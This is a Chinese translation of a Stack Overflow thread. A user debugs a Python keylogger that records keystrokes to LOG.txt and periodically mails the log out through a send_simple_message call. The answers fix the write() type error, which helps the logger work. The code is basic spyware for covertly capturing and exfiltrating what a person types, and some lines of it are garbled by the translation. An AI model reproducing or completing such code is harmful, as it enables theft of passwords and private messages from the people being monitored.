类型错误:write()的参数必须是字符串,而不是列表。

26

def file_input(recorded):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()

如果name等于"main":

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)

我正在尝试用Python编写键盘记录器,遇到了如下类型错误,请问该如何解决?

我将已记录的变量放入write()函数中时出现了类型错误,而该变量的类型为列表。我尝试使用join()函数解决,但并未成功。

3个回答

42

你正在使用w.write()写入文件,但它只接受字符串作为参数。now_time是'datetime'类型而不是字符串。如果你不需要格式化日期,可以这样做:

w.write(str(nowtime))

同样的事情也发生在

这里。

w.write(recorded)

recorded 是一个事件列表,你需要使用它构造一个字符串,然后再尝试将该字符串写入文件。例如:

recorded是一个包含事件的列表,在将其写入文件之前,需要先将其转化为字符串格式。

例如:

recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))

那么,在file_input()函数内部,您可以:

w.write(typedstr)

6
通过更改为w.write(str(recorded)),我的问题得到解决。

0
在某些情况下,当将字符串写入文本文件时仍然存在编码问题时,_content 函数可能会很有用。
w.write(str(recorded._content))

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接